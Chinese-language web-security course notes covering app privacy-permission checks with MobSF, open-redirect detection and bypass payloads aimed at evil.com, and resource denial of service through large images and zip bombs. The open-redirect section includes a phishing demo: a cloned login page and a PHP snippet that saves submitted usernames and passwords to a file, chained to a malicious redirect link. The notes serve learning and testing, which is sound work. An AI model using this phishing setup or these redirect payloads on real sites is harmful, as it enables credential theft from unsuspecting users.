文章目录
- 前记
- WEB攻防——第七十七天
- 业务设计篇&隐私合规检测&URL重定向&资源拒绝服务&配合项目
- 隐私合规 - 判断规则&检测项目
- 介绍
- 案例演示
- URL重定向 - 检测判断&钓鱼配合
- 介绍
- 黑盒测试
- 看业务功能
- 看参数名
- goole语法搜索
- 白盒测试
- 跳转URL绕过思路
- 钓鱼配合
- 资源拒绝服务 - 加载受控&处理受控
- 加载受控
- 处理受控
前记
- 今天是学习小迪安全的第七十七天,本节课是WEB攻防的最后一讲,主要是业务设计方面的内容,包括隐私合规、重定向漏洞以及资源拒绝服务漏洞
- 主要是以理解思路为主,但是这些漏洞可能很多都不收或者风险比较大
WEB攻防——第七十七天
业务设计篇&隐私合规检测&URL重定向&资源拒绝服务&配合项目
隐私合规 - 判断规则&检测项目
介绍
- 检测对象:APP、小程序等
- 检测内容:主要是看其有没有未经用户同意调用一些涉及隐私的权限,比如位置信息、录音、联系人信息、相机等等
- 检测项目:
- appscan
- 动态分析,更推荐
- 但缺点是需要真机,并且需要root权限及打开ADB调试
- appshark
- 静态分析
- MobSF
- 之前课程里讲过的APP逆向分析工具,也可以用来分析合规权限
- 静态分析,需要自己手动检验是否真实存在
- 搭建比较麻烦,但是有在线网站,或者使用
f8x
项目自动化搭建
- appscan
案例演示
-
这里因为我也没有真机,所以只能通过
MobSF
去静态分析一个APK文件,简单看一下效果 -
比如我们在网上随便下载一个安卓应用:
-
然后直接将它拖到我们的
MobSF
上,等待它的分析结果:
-
等待一段时间之后它就会自动生成一份报告,然后我们选中
Permission
这栏就可以看到当前APK中所调用的权限:
-
但这里他只是提供了可能涉及到哪些隐私安全,实际还是要自己手动打开软件测一测有没有得到用户的授权,需要根据它实际的功能想到可能调用的权限
URL重定向 - 检测判断&钓鱼配合
介绍
- URL 重定向漏洞(
URL redirection vulnerability
),是一种常见的 Web 安全漏洞,由于网站 URL 重定向功能设计不当,没有验证跳转的目标 URL 是否合法,用户可通过此漏洞跳转到任意网站,这会导致可通过该网站跳转到存在木马、病毒的网站或者钓鱼网站,国外大厂的一个任意 URL 跳转都500$
、1000$
了,国内看运气~ - 不知道各位是否还记得在SSRF那节课中做过的一道CTF题,解题方法就是通过正常的URL重定向到内网地址;其实是同样的道理,只不过这里是跳转到一个恶意的钓鱼网站,比如诱导用户输入自己的账号密码和其他身份信息等
黑盒测试
看业务功能
- 用户登录、统一身份认证处,认证完后会跳转(跳转登录)
- 用户分享、收藏内容过后,会跳转(分享跳转)
- 跨站点认证、授权后,会跳转(认证跳转)
- 站内点击其它网址链接时,会跳转(站内跳转)
看参数名
redirect
、redirect_to
、redirect_url
、url
jump
、jump_to
target
to
link
、linkto
domain
goole语法搜索
site:xxx.xxx inurl:?url=
白盒测试
- 白盒测试主要看代码怎么写的
- Java:
response.sendRedirect(request.getParameter("url"))
- PHP:
+ $redirect_url = $_GET['url'];
+ header("Location: " . $redirect_url)
- .NET:
+ string redirect_url = request.QueryString["url"];
+ Response.Redirect(redirect_url);
- Django:
+ redirect_url = request.GET.get("url")
+ HttpResponseRedirect(redirect_url)
- Flask:
+ redirect_url = request.form['url']
+ redirect(redirect_url)
- Rails:
redirect_to params[:url]
跳转URL绕过思路
- 单斜线“/”绕过:
https://www.landgrey.me/redirect.php?url=/www.evil.com
- 缺少协议绕过:
https://www.landgrey.me/redirect.php?url=//www.evil.com
- 多斜线“/”前缀绕过:
https://www.landgrey.me/redirect.php?url=///www.evil.com https://www.landgrey.me/redirect.php?url=www.evil.com
- 利用反斜线“\”绕过:
https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me
- 利用“#”符号绕过:
https://www.landgrey.me/redirect.php?url=https://www.evil.com#www.landgrey.me
- 利用“?”符号绕过:
https://www.landgrey.me/redirect.php?url=https://www.evil.com?www.landgrey.me
- 利用“\”符号绕过:
https://www.landgrey.me/redirect.php?url=https://www.evil.com\\www.landgrey.me
- 利用“.”符号绕过:
https://www.landgrey.me/redirect.php?url=.evil
(可能会跳转到www.landgrey.me.evil域名)
https://www.landgrey.me/redirect.php?url=.evil.com
(可能会跳转到evil.com域名)
- 重复特殊字符绕过:
https://www.landgrey.me/redirect.php?url=///www.evil.com//..
https://www.landgrey.me/redirect.php?url=www.evil.com//..
钓鱼配合
- 我们使用的钓鱼网页制作软件为
Teleport Ultra
,然后以下所有的网页都放到公网,以便Teleport Ultra
能够正常爬取 - 小迪的那个演示网站已经用不了了,需要登录,然后我们这里就自己随便写个网站
test.php
,接收url
参数,然后跳转网页:
<?php
$url = $_GET['url'] ?? 'http://[域名]:8081/admin/token/login_token.php';
?> <!doctype html>
<title>跳转中</title>
<h1>稍等,正在跳转...</h1>
<meta http-equiv="refresh" content="2;url=<?php echo $url;?>">
-
正常来说访问该网页,他会跳转到登录页面:
-
但是这里如果我们尝试让他跳转到
https://www.baidu.com
,它也是能够正常跳转的,那就说明它可能存在这种重定向漏洞:
-
然后我们到它原本的跳转页面去,复制这个网站,然后使用这个软件爬取一份相同的网页:
-
他就自动帮我们爬取了上面的所有前端页面内容,然后我们可以自己看一看几乎是一模一样的:
-
我们这里修改里面的内容,比如将用户输入的登录密码保存到当前路径下的某个文件里:
<?php $u = $_POST['username']; $p = $_POST['password']; $f = fopen('pass.txt', 'a+'); fwrite($f, $u . "|" . $p . "\n"); fclose($f);
?>
-
然后就将修改完成的钓鱼网页放到自己的服务器上,再让这个网页跳转到钓鱼网页即可,这样就得到了一个恶意链接
http://blog.xxx.cn:8080/test.php?url=http://[自己的域名]/login_token.php
-
最后当别人访问这个链接的时候,会以为是正常的网页,然后输入自己的账号和密码,我们本地的服务器就会创建一个文件记录:
-
但是这个漏洞国内很多都不收,主要是因为他要配合钓鱼使用,中招率不高
资源拒绝服务 - 加载受控&处理受控
加载受控
- 某些网站可以加载一张图片,如果我们能够控制该图片的大小,比如长和宽的话,假设将这个大小设置为很大很大,将服务器的CPU拉满,以此来达到拒绝服务的目的
处理受控
-
某些网站可以上传压缩包或者其他的东西,然后它自动解压,那我们如果上传一个压缩包炸弹(压缩包无限套压缩包),这样就会导致上传大小很小,但是实际资源大小很大,以此来拉满服务器的CPU占用,达到拒绝服务的目的
-
但是这两个都不怎么常用,因为这个东西搞不好会让网站服务器崩溃,容易金橘子,所以我这里也不做案例演示了